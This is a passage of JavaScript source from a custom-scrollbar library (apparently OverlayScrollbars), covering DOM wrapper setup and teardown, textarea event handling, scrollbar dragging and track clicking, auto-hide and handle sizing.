addRemoveClass(_scrollbarCornerElement, _classNameScrollbarCornerResize, !_resizeNone);
addRemoveClass(_scrollbarCornerElement, _classNameScrollbarCornerResizeB, _resizeBoth);
addRemoveClass(_scrollbarCornerElement, _classNameScrollbarCornerResizeH, _resizeHorizontal);
addRemoveClass(_scrollbarCornerElement, _classNameScrollbarCornerResizeV, _resizeVertical);
}
//manage the scrollbars general visibility + the scrollbar interactivity (unusable class name)
if (scrollbarsVisibilityChanged || overflowBehaviorChanged || hideOverflow.c || hasOverflow.c || ignoreOverlayScrollbarHidingChanged) {
if (ignoreOverlayScrollbarHiding) {
if (ignoreOverlayScrollbarHidingChanged) {
removeClass(_hostElement, _classNameHostScrolling);
if (ignoreOverlayScrollbarHiding) {
refreshScrollbarsVisibility(false);
}
}
}
else if (scrollbarsVisibilityAuto) {
refreshScrollbarsVisibility(canScroll.x, canScroll.y);
}
else if (scrollbarsVisibilityVisible) {
refreshScrollbarsVisibility(true);
}
else if (scrollbarsVisibilityHidden) {
refreshScrollbarsVisibility(false);
}
}
//manage the scrollbars auto hide feature (auto hide them after specific actions)
if (scrollbarsAutoHideChanged || ignoreOverlayScrollbarHidingChanged) {
setupHostMouseTouchEvents(!_scrollbarsAutoHideLeave && !_scrollbarsAutoHideMove);
refreshScrollbarsAutoHide(_scrollbarsAutoHideNever, !_scrollbarsAutoHideNever);
}
//manage scrollbars handle length & offset - don't remove!
if (hostSizeChanged || overflowAmount.c || heightAutoChanged || widthAutoChanged || resizeChanged || boxSizingChanged || paddingAbsoluteChanged || ignoreOverlayScrollbarHidingChanged || cssDirectionChanged) {
refreshScrollbarHandleLength(true);
refreshScrollbarHandleOffset(true);
refreshScrollbarHandleLength(false);
refreshScrollbarHandleOffset(false);
}
//manage interactivity
if (scrollbarsClickScrollingChanged)
refreshScrollbarsInteractive(true, scrollbarsClickScrolling);
if (scrollbarsDragScrollingChanged)
refreshScrollbarsInteractive(false, scrollbarsDragScrolling);
//callbacks:
dispatchCallback('onDirectionChanged', {
isRTL: _isRTL,
dir: cssDirection
}, cssDirectionChanged);
dispatchCallback('onHostSizeChanged', {
width: _hostSizeCache.w,
height: _hostSizeCache.h
}, hostSizeChanged);
dispatchCallback('onContentSizeChanged', {
width: _contentScrollSizeCache.w,
height: _contentScrollSizeCache.h
}, contentSizeChanged);
dispatchCallback('onOverflowChanged', {
x: hasOverflow.x,
y: hasOverflow.y,
xScrollable: hideOverflow.xs,
yScrollable: hideOverflow.ys,
clipped: hideOverflow.x || hideOverflow.y
}, hasOverflow.c || hideOverflow.c);
dispatchCallback('onOverflowAmountChanged', {
x: overflowAmount.x,
y: overflowAmount.y
}, overflowAmount.c);
}
//fix body min size
if (_isBody && _bodyMinSizeCache && (_hasOverflowCache.c || _bodyMinSizeCache.c)) {
//its possible that no min size was measured until now, because the content arrange element was just added now, in this case, measure now the min size.
if (!_bodyMinSizeCache.f)
bodyMinSizeChanged();
if (_nativeScrollbarIsOverlaid.y && _hasOverflowCache.x)
_contentElement.css(_strMinMinus + _strWidth, _bodyMinSizeCache.w + _overlayScrollbarDummySize.y);
if (_nativeScrollbarIsOverlaid.x && _hasOverflowCache.y)
_contentElement.css(_strMinMinus + _strHeight, _bodyMinSizeCache.h + _overlayScrollbarDummySize.x);
_bodyMinSizeCache.c = false;
}
if (_initialized && changedOptions.updateOnLoad) {
updateElementsOnLoad();
}
//freezeResizeObserver(_sizeObserverElement, false);
//freezeResizeObserver(_sizeAutoObserverElement, false);
dispatchCallback('onUpdated', { forced: force });
}
/**
* Updates the found elements of which the load event shall be handled.
*/
function updateElementsOnLoad() {
if (!_isTextarea) {
eachUpdateOnLoad(function (i, updateOnLoadSelector) {
_contentElement.find(updateOnLoadSelector).each(function (i, el) {
// if element doesn't have a updateOnLoadCallback applied
if (COMPATIBILITY.inA(el, _updateOnLoadElms) < 0) {
_updateOnLoadElms.push(el);
FRAMEWORK(el)
.off(_updateOnLoadEventName, updateOnLoadCallback)
.on(_updateOnLoadEventName, updateOnLoadCallback);
}
});
});
}
}
//==== Options ====//
/**
* Sets new options but doesn't call the update method.
* @param newOptions The object which contains the new options.
* @returns {*} A object which contains the changed options.
*/
function setOptions(newOptions) {
var validatedOpts = _pluginsOptions._validate(newOptions, _pluginsOptions._template, true, _currentOptions)
_currentOptions = extendDeep({}, _currentOptions, validatedOpts._default);
_currentPreparedOptions = extendDeep({}, _currentPreparedOptions, validatedOpts._prepared);
return validatedOpts._prepared;
}
//==== Structure ====//
/**
* Builds or destroys the wrapper and helper DOM elements.
* @param destroy Indicates whether the DOM shall be build or destroyed.
*/
/**
* Builds or destroys the wrapper and helper DOM elements.
* @param destroy Indicates whether the DOM shall be build or destroyed.
*/
function setupStructureDOM(destroy) {
var strParent = 'parent';
var classNameResizeObserverHost = 'os-resize-observer-host';
var classNameTextareaElementFull = _classNameTextareaElement + _strSpace + _classNameTextInherit;
var textareaClass = _isTextarea ? _strSpace + _classNameTextInherit : _strEmpty;
var adoptAttrs = _currentPreparedOptions.textarea.inheritedAttrs;
var adoptAttrsMap = {};
var applyAdoptedAttrs = function () {
var applyAdoptedAttrsElm = destroy ? _targetElement : _hostElement;
each(adoptAttrsMap, function (key, value) {
if (type(value) == TYPES.s) {
if (key == LEXICON.c)
applyAdoptedAttrsElm.addClass(value);
else
applyAdoptedAttrsElm.attr(key, value);
}
});
};
var hostElementClassNames = [
_classNameHostElement,
_classNameHostElementForeign,
_classNameHostTextareaElement,
_classNameHostResizeDisabled,
_classNameHostRTL,
_classNameHostScrollbarHorizontalHidden,
_classNameHostScrollbarVerticalHidden,
_classNameHostTransition,
_classNameHostScrolling,
_classNameHostOverflow,
_classNameHostOverflowX,
_classNameHostOverflowY,
_classNameThemeNone,
_classNameTextareaElement,
_classNameTextInherit,
_classNameCache].join(_strSpace);
var hostElementCSS = {};
//get host element as first element, because that's the most upper element and required for the other elements
_hostElement = _hostElement || (_isTextarea ? (_domExists ? _targetElement[strParent]()[strParent]()[strParent]()[strParent]() : FRAMEWORK(generateDiv(_classNameHostTextareaElement))) : _targetElement);
_contentElement = _contentElement || selectOrGenerateDivByClass(_classNameContentElement + textareaClass);
_viewportElement = _viewportElement || selectOrGenerateDivByClass(_classNameViewportElement + textareaClass);
_paddingElement = _paddingElement || selectOrGenerateDivByClass(_classNamePaddingElement + textareaClass);
_sizeObserverElement = _sizeObserverElement || selectOrGenerateDivByClass(classNameResizeObserverHost);
_textareaCoverElement = _textareaCoverElement || (_isTextarea ? selectOrGenerateDivByClass(_classNameTextareaCoverElement) : undefined);
//add this class to workaround class changing issues with UI frameworks especially Vue
if (_domExists)
addClass(_hostElement, _classNameHostElementForeign);
//on destroy, remove all generated class names from the host element before collecting the adopted attributes
//to prevent adopting generated class names
if (destroy)
removeClass(_hostElement, hostElementClassNames);
//collect all adopted attributes
adoptAttrs = type(adoptAttrs) == TYPES.s ? adoptAttrs.split(_strSpace) : adoptAttrs;
if (COMPATIBILITY.isA(adoptAttrs) && _isTextarea) {
each(adoptAttrs, function (i, v) {
if (type(v) == TYPES.s) {
adoptAttrsMap[v] = destroy ? _hostElement.attr(v) : _targetElement.attr(v);
}
});
}
if (!destroy) {
if (_isTextarea) {
if (!_currentPreparedOptions.sizeAutoCapable) {
hostElementCSS[_strWidth] = _targetElement.css(_strWidth);
hostElementCSS[_strHeight] = _targetElement.css(_strHeight);
}
if (!_domExists)
_targetElement.addClass(_classNameTextInherit).wrap(_hostElement);
//jQuery clones elements in wrap functions, so we have to select them again
_hostElement = _targetElement[strParent]().css(hostElementCSS);
}
if (!_domExists) {
//add the correct class to the target element
addClass(_targetElement, _isTextarea ? classNameTextareaElementFull : _classNameHostElement);
//wrap the content into the generated elements to create the required DOM
_hostElement.wrapInner(_contentElement)
.wrapInner(_viewportElement)
.wrapInner(_paddingElement)
.prepend(_sizeObserverElement);
//jQuery clones elements in wrap functions, so we have to select them again
_contentElement = findFirst(_hostElement, _strDot + _classNameContentElement);
_viewportElement = findFirst(_hostElement, _strDot + _classNameViewportElement);
_paddingElement = findFirst(_hostElement, _strDot + _classNamePaddingElement);
if (_isTextarea) {
_contentElement.prepend(_textareaCoverElement);
applyAdoptedAttrs();
}
}
if (_nativeScrollbarStyling)
addClass(_viewportElement, _classNameViewportNativeScrollbarsInvisible);
if (_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y)
addClass(_viewportElement, _classNameViewportNativeScrollbarsOverlaid);
if (_isBody)
addClass(_htmlElement, _classNameHTMLElement);
_sizeObserverElementNative = _sizeObserverElement[0];
_hostElementNative = _hostElement[0];
_paddingElementNative = _paddingElement[0];
_viewportElementNative = _viewportElement[0];
_contentElementNative = _contentElement[0];
updateViewportAttrsFromTarget();
}
else {
if (_domExists && _initialized) {
//clear size observer
_sizeObserverElement.children().remove();
//remove the style property and classes from already generated elements
each([_paddingElement, _viewportElement, _contentElement, _textareaCoverElement], function (i, elm) {
if (elm) {
removeClass(elm.removeAttr(LEXICON.s), _classNamesDynamicDestroy);
}
});
//add classes to the host element which was removed previously to match the expected DOM
addClass(_hostElement, _isTextarea ? _classNameHostTextareaElement : _classNameHostElement);
}
else {
//remove size observer
remove(_sizeObserverElement);
//unwrap the content to restore DOM
_contentElement.contents()
.unwrap()
.unwrap()
.unwrap();
if (_isTextarea) {
_targetElement.unwrap();
remove(_hostElement);
remove(_textareaCoverElement);
applyAdoptedAttrs();
}
}
if (_isTextarea)
_targetElement.removeAttr(LEXICON.s);
if (_isBody)
removeClass(_htmlElement, _classNameHTMLElement);
}
}
/**
* Adds or removes all wrapper elements interactivity events.
* @param destroy Indicates whether the Events shall be added or removed.
*/
function setupStructureEvents() {
var textareaKeyDownRestrictedKeyCodes = [
112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 123, //F1 to F12
33, 34, //page up, page down
37, 38, 39, 40, //left, up, right, down arrows
16, 17, 18, 19, 20, 144 //Shift, Ctrl, Alt, Pause, CapsLock, NumLock
];
var textareaKeyDownKeyCodesList = [];
var textareaUpdateIntervalID;
var scrollStopTimeoutId;
var scrollStopDelay = 175;
var strFocus = 'focus';
function updateTextarea(doClearInterval) {
textareaUpdate();
_base.update(_strAuto);
if (doClearInterval && _autoUpdateRecommended)
clearInterval(textareaUpdateIntervalID);
}
function textareaOnScroll(event) {
_targetElement[_strScrollLeft](_rtlScrollBehavior.i && _normalizeRTLCache ? 9999999 : 0);
_targetElement[_strScrollTop](0);
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
return false;
}
function textareaOnDrop(event) {
setTimeout(function () {
if (!_destroyed)
updateTextarea();
}, 50);
}
function textareaOnFocus() {
_textareaHasFocus = true;
addClass(_hostElement, strFocus);
}
function textareaOnFocusout() {
_textareaHasFocus = false;
textareaKeyDownKeyCodesList = [];
removeClass(_hostElement, strFocus);
updateTextarea(true);
}
function textareaOnKeyDown(event) {
var keyCode = event.keyCode;
if (inArray(keyCode, textareaKeyDownRestrictedKeyCodes) < 0) {
if (!textareaKeyDownKeyCodesList[LEXICON.l]) {
updateTextarea();
textareaUpdateIntervalID = setInterval(updateTextarea, 1000 / 60);
}
if (inArray(keyCode, textareaKeyDownKeyCodesList) < 0)
textareaKeyDownKeyCodesList.push(keyCode);
}
}
function textareaOnKeyUp(event) {
var keyCode = event.keyCode;
var index = inArray(keyCode, textareaKeyDownKeyCodesList);
if (inArray(keyCode, textareaKeyDownRestrictedKeyCodes) < 0) {
if (index > -1)
textareaKeyDownKeyCodesList.splice(index, 1);
if (!textareaKeyDownKeyCodesList[LEXICON.l])
updateTextarea(true);
}
}
function contentOnTransitionEnd(event) {
if (_autoUpdateCache === true)
return;
event = event.originalEvent || event;
if (isSizeAffectingCSSProperty(event.propertyName))
_base.update(_strAuto);
}
function viewportOnScroll(event) {
if (!_sleeping) {
if (scrollStopTimeoutId !== undefined)
clearTimeout(scrollStopTimeoutId);
else {
if (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove)
refreshScrollbarsAutoHide(true);
if (!nativeOverlayScrollbarsAreActive())
addClass(_hostElement, _classNameHostScrolling);
dispatchCallback('onScrollStart', event);
}
//if a scrollbars handle gets dragged, the mousemove event is responsible for refreshing the handle offset
//because if CSS scroll-snap is used, the handle offset gets only refreshed on every snap point
//this looks laggy & clunky, it looks much better if the offset refreshes with the mousemove
if (!_scrollbarsHandlesDefineScrollPos) {
refreshScrollbarHandleOffset(true);
refreshScrollbarHandleOffset(false);
}
dispatchCallback('onScroll', event);
scrollStopTimeoutId = setTimeout(function () {
if (!_destroyed) {
//OnScrollStop:
clearTimeout(scrollStopTimeoutId);
scrollStopTimeoutId = undefined;
if (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove)
refreshScrollbarsAutoHide(false);
if (!nativeOverlayScrollbarsAreActive())
removeClass(_hostElement, _classNameHostScrolling);
dispatchCallback('onScrollStop', event);
}
}, scrollStopDelay);
}
}
if (_isTextarea) {
if (_msieVersion > 9 || !_autoUpdateRecommended) {
addDestroyEventListener(_targetElement, 'input', updateTextarea);
}
else {
addDestroyEventListener(_targetElement,
[_strKeyDownEvent, _strKeyUpEvent],
[textareaOnKeyDown, textareaOnKeyUp]);
}
addDestroyEventListener(_targetElement,
[_strScroll, 'drop', strFocus, strFocus + 'out'],
[textareaOnScroll, textareaOnDrop, textareaOnFocus, textareaOnFocusout]);
}
else {
addDestroyEventListener(_contentElement, _strTransitionEndEvent, contentOnTransitionEnd);
}
addDestroyEventListener(_viewportElement, _strScroll, viewportOnScroll, true);
}
//==== Scrollbars ====//
/**
* Builds or destroys all scrollbar DOM elements (scrollbar, track, handle)
* @param destroy Indicates whether the DOM shall be build or destroyed.
*/
function setupScrollbarsDOM(destroy) {
var selectOrGenerateScrollbarDOM = function (isHorizontal) {
var scrollbarClassName = isHorizontal ? _classNameScrollbarHorizontal : _classNameScrollbarVertical;
var scrollbar = selectOrGenerateDivByClass(_classNameScrollbar + _strSpace + scrollbarClassName, true);
var track = selectOrGenerateDivByClass(_classNameScrollbarTrack, scrollbar);
var handle = selectOrGenerateDivByClass(_classNameScrollbarHandle, scrollbar);
if (!_domExists && !destroy) {
scrollbar.append(track);
track.append(handle);
}
return {
_scrollbar: scrollbar,
_track: track,
_handle: handle
};
};
function resetScrollbarDOM(isHorizontal) {
var scrollbarVars = getScrollbarVars(isHorizontal);
var scrollbar = scrollbarVars._scrollbar;
var track = scrollbarVars._track;
var handle = scrollbarVars._handle;
if (_domExists && _initialized) {
each([scrollbar, track, handle], function (i, elm) {
removeClass(elm.removeAttr(LEXICON.s), _classNamesDynamicDestroy);
});
}
else {
remove(scrollbar || selectOrGenerateScrollbarDOM(isHorizontal)._scrollbar);
}
}
var horizontalElements;
var verticalElements;
if (!destroy) {
horizontalElements = selectOrGenerateScrollbarDOM(true);
verticalElements = selectOrGenerateScrollbarDOM();
_scrollbarHorizontalElement = horizontalElements._scrollbar;
_scrollbarHorizontalTrackElement = horizontalElements._track;
_scrollbarHorizontalHandleElement = horizontalElements._handle;
_scrollbarVerticalElement = verticalElements._scrollbar;
_scrollbarVerticalTrackElement = verticalElements._track;
_scrollbarVerticalHandleElement = verticalElements._handle;
if (!_domExists) {
_paddingElement.after(_scrollbarVerticalElement);
_paddingElement.after(_scrollbarHorizontalElement);
}
}
else {
resetScrollbarDOM(true);
resetScrollbarDOM();
}
}
/**
* Initializes all scrollbar interactivity events. (track and handle dragging, clicking, scrolling)
* @param isHorizontal True if the target scrollbar is the horizontal scrollbar, false if the target scrollbar is the vertical scrollbar.
*/
function setupScrollbarEvents(isHorizontal) {
var scrollbarVars = getScrollbarVars(isHorizontal);
var scrollbarVarsInfo = scrollbarVars._info;
var insideIFrame = _windowElementNative.top !== _windowElementNative;
var xy = scrollbarVars._x_y;
var XY = scrollbarVars._X_Y;
var scroll = _strScroll + scrollbarVars._Left_Top;
var strActive = 'active';
var strSnapHandle = 'snapHandle';
var strClickEvent = 'click';
var scrollDurationFactor = 1;
var increaseDecreaseScrollAmountKeyCodes = [16, 17]; //shift, ctrl
var trackTimeout;
var mouseDownScroll;
var mouseDownOffset;
var mouseDownInvertedScale;
function getPointerPosition(event) {
return _msieVersion && insideIFrame ? event['screen' + XY] : COMPATIBILITY.page(event)[xy]; //use screen coordinates in EDGE & IE because the page values are incorrect in frames.
}
function getPreparedScrollbarsOption(name) {
return _currentPreparedOptions.scrollbars[name];
}
function increaseTrackScrollAmount() {
scrollDurationFactor = 0.5;
}
function decreaseTrackScrollAmount() {
scrollDurationFactor = 1;
}
function stopClickEventPropagation(event) {
COMPATIBILITY.stpP(event);
}
function documentKeyDown(event) {
if (inArray(event.keyCode, increaseDecreaseScrollAmountKeyCodes) > -1)
increaseTrackScrollAmount();
}
function documentKeyUp(event) {
if (inArray(event.keyCode, increaseDecreaseScrollAmountKeyCodes) > -1)
decreaseTrackScrollAmount();
}
function onMouseTouchDownContinue(event) {
var originalEvent = event.originalEvent || event;
var isTouchEvent = originalEvent.touches !== undefined;
return _sleeping || _destroyed || nativeOverlayScrollbarsAreActive() || !_scrollbarsDragScrollingCache || (isTouchEvent && !getPreparedScrollbarsOption('touchSupport')) ? false : COMPATIBILITY.mBtn(event) === 1 || isTouchEvent;
}
function documentDragMove(event) {
if (onMouseTouchDownContinue(event)) {
var trackLength = scrollbarVarsInfo._trackLength;
var handleLength = scrollbarVarsInfo._handleLength;
var scrollRange = scrollbarVarsInfo._maxScroll;
var scrollRaw = (getPointerPosition(event) - mouseDownOffset) * mouseDownInvertedScale;
var scrollDeltaPercent = scrollRaw / (trackLength - handleLength);
var scrollDelta = (scrollRange * scrollDeltaPercent);
scrollDelta = isFinite(scrollDelta) ? scrollDelta : 0;
if (_isRTL && isHorizontal && !_rtlScrollBehavior.i)
scrollDelta *= -1;
_viewportElement[scroll](MATH.round(mouseDownScroll + scrollDelta));
if (_scrollbarsHandlesDefineScrollPos)
refreshScrollbarHandleOffset(isHorizontal, mouseDownScroll + scrollDelta);
if (!_supportPassiveEvents)
COMPATIBILITY.prvD(event);
}
else
documentMouseTouchUp(event);
}
function documentMouseTouchUp(event) {
event = event || event.originalEvent;
setupResponsiveEventListener(_documentElement,
[_strMouseTouchMoveEvent, _strMouseTouchUpEvent, _strKeyDownEvent, _strKeyUpEvent, _strSelectStartEvent],
[documentDragMove, documentMouseTouchUp, documentKeyDown, documentKeyUp, documentOnSelectStart],
true);
COMPATIBILITY.rAF()(function() {
setupResponsiveEventListener(_documentElement, strClickEvent, stopClickEventPropagation, true, { _capture: true });
});
if (_scrollbarsHandlesDefineScrollPos)
refreshScrollbarHandleOffset(isHorizontal, true);
_scrollbarsHandlesDefineScrollPos = false;
removeClass(_bodyElement, _classNameDragging);
removeClass(scrollbarVars._handle, strActive);
removeClass(scrollbarVars._track, strActive);
removeClass(scrollbarVars._scrollbar, strActive);
mouseDownScroll = undefined;
mouseDownOffset = undefined;
mouseDownInvertedScale = 1;
decreaseTrackScrollAmount();
if (trackTimeout !== undefined) {
_base.scrollStop();
clearTimeout(trackTimeout);
trackTimeout = undefined;
}
if (event) {
var rect = _hostElementNative[LEXICON.bCR]();
var mouseInsideHost = event.clientX >= rect.left && event.clientX <= rect.right && event.clientY >= rect.top && event.clientY <= rect.bottom;
//if mouse is outside host element
if (!mouseInsideHost)
hostOnMouseLeave();
if (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove)
refreshScrollbarsAutoHide(false);
}
}
function onHandleMouseTouchDown(event) {
if (onMouseTouchDownContinue(event))
onHandleMouseTouchDownAction(event);
}
function onHandleMouseTouchDownAction(event) {
mouseDownScroll = _viewportElement[scroll]();
mouseDownScroll = isNaN(mouseDownScroll) ? 0 : mouseDownScroll;
if (_isRTL && isHorizontal && !_rtlScrollBehavior.n || !_isRTL)
mouseDownScroll = mouseDownScroll < 0 ? 0 : mouseDownScroll;
mouseDownInvertedScale = getHostElementInvertedScale()[xy];
mouseDownOffset = getPointerPosition(event);
_scrollbarsHandlesDefineScrollPos = !getPreparedScrollbarsOption(strSnapHandle);
addClass(_bodyElement, _classNameDragging);
addClass(scrollbarVars._handle, strActive);
addClass(scrollbarVars._scrollbar, strActive);
setupResponsiveEventListener(_documentElement,
[_strMouseTouchMoveEvent, _strMouseTouchUpEvent, _strSelectStartEvent],
[documentDragMove, documentMouseTouchUp, documentOnSelectStart]);
COMPATIBILITY.rAF()(function() {
setupResponsiveEventListener(_documentElement, strClickEvent, stopClickEventPropagation, false, { _capture: true });
});
if (_msieVersion || !_documentMixed)
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
}
function onTrackMouseTouchDown(event) {
if (onMouseTouchDownContinue(event)) {
var handleToViewportRatio = scrollbarVars._info._handleLength / Math.round(MATH.min(1, _viewportSize[scrollbarVars._w_h] / _contentScrollSizeCache[scrollbarVars._w_h]) * scrollbarVars._info._trackLength);
var scrollDistance = MATH.round(_viewportSize[scrollbarVars._w_h] * handleToViewportRatio);
var scrollBaseDuration = 270 * handleToViewportRatio;
var scrollFirstIterationDelay = 400 * handleToViewportRatio;
var trackOffset = scrollbarVars._track.offset()[scrollbarVars._left_top];
var ctrlKey = event.ctrlKey;
var instantScroll = event.shiftKey;
var instantScrollTransition = instantScroll && ctrlKey;
var isFirstIteration = true;
var easing = 'linear';
var decreaseScroll;
var finishedCondition;
var scrollActionFinsished = function (transition) {
if (_scrollbarsHandlesDefineScrollPos)
refreshScrollbarHandleOffset(isHorizontal, transition);
};
var scrollActionInstantFinished = function () {
scrollActionFinsished();
onHandleMouseTouchDownAction(event);
};
var scrollAction = function () {
if (!_destroyed) {
var mouseOffset = (mouseDownOffset - trackOffset) * mouseDownInvertedScale;
var handleOffset = scrollbarVarsInfo._handleOffset;
var trackLength = scrollbarVarsInfo._trackLength;
var handleLength = scrollbarVarsInfo._handleLength;
var scrollRange = scrollbarVarsInfo._maxScroll;
var currScroll = scrollbarVarsInfo._currentScroll;
var scrollDuration = scrollBaseDuration * scrollDurationFactor;
var timeoutDelay = isFirstIteration ? MATH.max(scrollFirstIterationDelay, scrollDuration) : scrollDuration;
var instantScrollPosition = scrollRange * ((mouseOffset - (handleLength / 2)) / (trackLength - handleLength)); // 100% * positionPercent
var rtlIsNormal = _isRTL && isHorizontal && ((!_rtlScrollBehavior.i && !_rtlScrollBehavior.n) || _normalizeRTLCache);
var decreaseScrollCondition = rtlIsNormal ? handleOffset < mouseOffset : handleOffset > mouseOffset;
var scrollObj = {};
var animationObj = {
easing: easing,
step: function (now) {
if (_scrollbarsHandlesDefineScrollPos) {
_viewportElement[scroll](now); //https://github.com/jquery/jquery/issues/4340
refreshScrollbarHandleOffset(isHorizontal, now);
}
}
};
instantScrollPosition = isFinite(instantScrollPosition) ? instantScrollPosition : 0;
instantScrollPosition = _isRTL && isHorizontal && !_rtlScrollBehavior.i ? (scrollRange - instantScrollPosition) : instantScrollPosition;
//_base.scrollStop();
if (instantScroll) {
_viewportElement[scroll](instantScrollPosition); //scroll instantly to new position
if (instantScrollTransition) {
//get the scroll position after instant scroll (in case CSS Snap Points are used) to get the correct snapped scroll position
//and the animation stops at the correct point
instantScrollPosition = _viewportElement[scroll]();
//scroll back to the position before instant scrolling so animation can be performed
_viewportElement[scroll](currScroll);
instantScrollPosition = rtlIsNormal && _rtlScrollBehavior.i ? (scrollRange - instantScrollPosition) : instantScrollPosition;
instantScrollPosition = rtlIsNormal && _rtlScrollBehavior.n ? -instantScrollPosition : instantScrollPosition;
scrollObj[xy] = instantScrollPosition;
_base.scroll(scrollObj, extendDeep(animationObj, {
duration: 130,
complete: scrollActionInstantFinished
}));
}
else
scrollActionInstantFinished();
}
else {
decreaseScroll = isFirstIteration ? decreaseScrollCondition : decreaseScroll;
finishedCondition = rtlIsNormal
? (decreaseScroll ? handleOffset + handleLength >= mouseOffset : handleOffset <= mouseOffset)
: (decreaseScroll ? handleOffset <= mouseOffset : handleOffset + handleLength >= mouseOffset);
if (finishedCondition) {
clearTimeout(trackTimeout);
_base.scrollStop();
trackTimeout = undefined;
scrollActionFinsished(true);
}
else {
trackTimeout = setTimeout(scrollAction, timeoutDelay);
scrollObj[xy] = (decreaseScroll ? '-=' : '+=') + scrollDistance;
_base.scroll(scrollObj, extendDeep(animationObj, {
duration: scrollDuration
}));
}
isFirstIteration = false;
}
}
};
if (ctrlKey)
increaseTrackScrollAmount();
mouseDownInvertedScale = getHostElementInvertedScale()[xy];
mouseDownOffset = COMPATIBILITY.page(event)[xy];
_scrollbarsHandlesDefineScrollPos = !getPreparedScrollbarsOption(strSnapHandle);
addClass(_bodyElement, _classNameDragging);
addClass(scrollbarVars._track, strActive);
addClass(scrollbarVars._scrollbar, strActive);
setupResponsiveEventListener(_documentElement,
[_strMouseTouchUpEvent, _strKeyDownEvent, _strKeyUpEvent, _strSelectStartEvent],
[documentMouseTouchUp, documentKeyDown, documentKeyUp, documentOnSelectStart]);
scrollAction();
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
}
}
function onTrackMouseTouchEnter(event) {
//make sure both scrollbars will stay visible if one scrollbar is hovered if autoHide is "scroll" or "move".
_scrollbarsHandleHovered = true;
if (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove)
refreshScrollbarsAutoHide(true);
}
function onTrackMouseTouchLeave(event) {
_scrollbarsHandleHovered = false;
if (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove)
refreshScrollbarsAutoHide(false);
}
function onScrollbarMouseTouchDown(event) {
COMPATIBILITY.stpP(event);
}
addDestroyEventListener(scrollbarVars._handle,
_strMouseTouchDownEvent,
onHandleMouseTouchDown);
addDestroyEventListener(scrollbarVars._track,
[_strMouseTouchDownEvent, _strMouseEnter, _strMouseLeave],
[onTrackMouseTouchDown, onTrackMouseTouchEnter, onTrackMouseTouchLeave]);
addDestroyEventListener(scrollbarVars._scrollbar,
_strMouseTouchDownEvent,
onScrollbarMouseTouchDown);
if (_supportTransition) {
addDestroyEventListener(scrollbarVars._scrollbar, _strTransitionEndEvent, function (event) {
if (event.target !== scrollbarVars._scrollbar[0])
return;
refreshScrollbarHandleLength(isHorizontal);
refreshScrollbarHandleOffset(isHorizontal);
});
}
}
/**
* Shows or hides the given scrollbar and applied a class name which indicates if the scrollbar is scrollable or not.
* @param isHorizontal True if the horizontal scrollbar is the target, false if the vertical scrollbar is the target.
* @param shallBeVisible True if the scrollbar shall be shown, false if hidden.
* @param canScroll True if the scrollbar is scrollable, false otherwise.
*/
function refreshScrollbarAppearance(isHorizontal, shallBeVisible, canScroll) {
var scrollbarHiddenClassName = isHorizontal ? _classNameHostScrollbarHorizontalHidden : _classNameHostScrollbarVerticalHidden;
var scrollbarElement = isHorizontal ? _scrollbarHorizontalElement : _scrollbarVerticalElement;
addRemoveClass(_hostElement, scrollbarHiddenClassName, !shallBeVisible);
addRemoveClass(scrollbarElement, _classNameScrollbarUnusable, !canScroll);
}
/**
* Autoshows / autohides both scrollbars with.
* @param shallBeVisible True if the scrollbars shall be autoshown (only the case if they are hidden by a autohide), false if the shall be auto hidden.
* @param delayfree True if the scrollbars shall be hidden without a delay, false or undefined otherwise.
*/
function refreshScrollbarsAutoHide(shallBeVisible, delayfree) {
clearTimeout(_scrollbarsAutoHideTimeoutId);
if (shallBeVisible) {
//if(_hasOverflowCache.x && _hideOverflowCache.xs)
removeClass(_scrollbarHorizontalElement, _classNameScrollbarAutoHidden);
//if(_hasOverflowCache.y && _hideOverflowCache.ys)
removeClass(_scrollbarVerticalElement, _classNameScrollbarAutoHidden);
}
else {
var anyActive;
var strActive = 'active';
var hide = function () {
if (!_scrollbarsHandleHovered && !_destroyed) {
anyActive = _scrollbarHorizontalHandleElement.hasClass(strActive) || _scrollbarVerticalHandleElement.hasClass(strActive);
if (!anyActive && (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove || _scrollbarsAutoHideLeave))
addClass(_scrollbarHorizontalElement, _classNameScrollbarAutoHidden);
if (!anyActive && (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove || _scrollbarsAutoHideLeave))
addClass(_scrollbarVerticalElement, _classNameScrollbarAutoHidden);
}
};
if (_scrollbarsAutoHideDelay > 0 && delayfree !== true)
_scrollbarsAutoHideTimeoutId = setTimeout(hide, _scrollbarsAutoHideDelay);
else
hide();
}
}
/**
* Refreshes the handle length of the given scrollbar.
* @param isHorizontal True if the horizontal scrollbar handle shall be refreshed, false if the vertical one shall be refreshed.
*/
function refreshScrollbarHandleLength(isHorizontal) {
var handleCSS = {};
var scrollbarVars = getScrollbarVars(isHorizontal);
var scrollbarVarsInfo = scrollbarVars._info;
var digit = 1000000;
//get and apply intended handle length
var handleRatio = MATH.min(1, _viewportSize[scrollbarVars._w_h] / _contentScrollSizeCache[scrollbarVars._w_h]);
handleCSS[scrollbarVars._width_height] = (MATH.floor(handleRatio * 100 * digit) / digit) + '%'; //the last * digit / digit is for flooring to the 4th digit
if (!nativeOverlayScrollbarsAreActive())
scrollbarVars._handle.css(handleCSS);
//measure the handle length to respect min & max length
scrollbarVarsInfo._handleLength = scrollbarVars._handle[0]['offset' + scrollbarVars._Width_Height];
scrollbarVarsInfo._handleLengthRatio = handleRatio;
}
/**
* Refreshes the handle offset of the given scrollbar.
* @param isHorizontal True if the horizontal scrollbar handle shall be refreshed, false if the vertical one shall be refreshed.
* @param scrollOrTransition The scroll position of the given scrollbar axis to which the handle shall be moved or a boolean which indicates whether a transition shall be applied. If undefined or boolean if the current scroll-offset is taken. (if isHorizontal ? scrollLeft : scrollTop)
*/
function refreshScrollbarHandleOffset(isHorizontal, scrollOrTransition) {
var transition = type(scrollOrTransition) == TYPES.b;
var transitionDuration = 250;
var isRTLisHorizontal = _isRTL && isHorizontal;
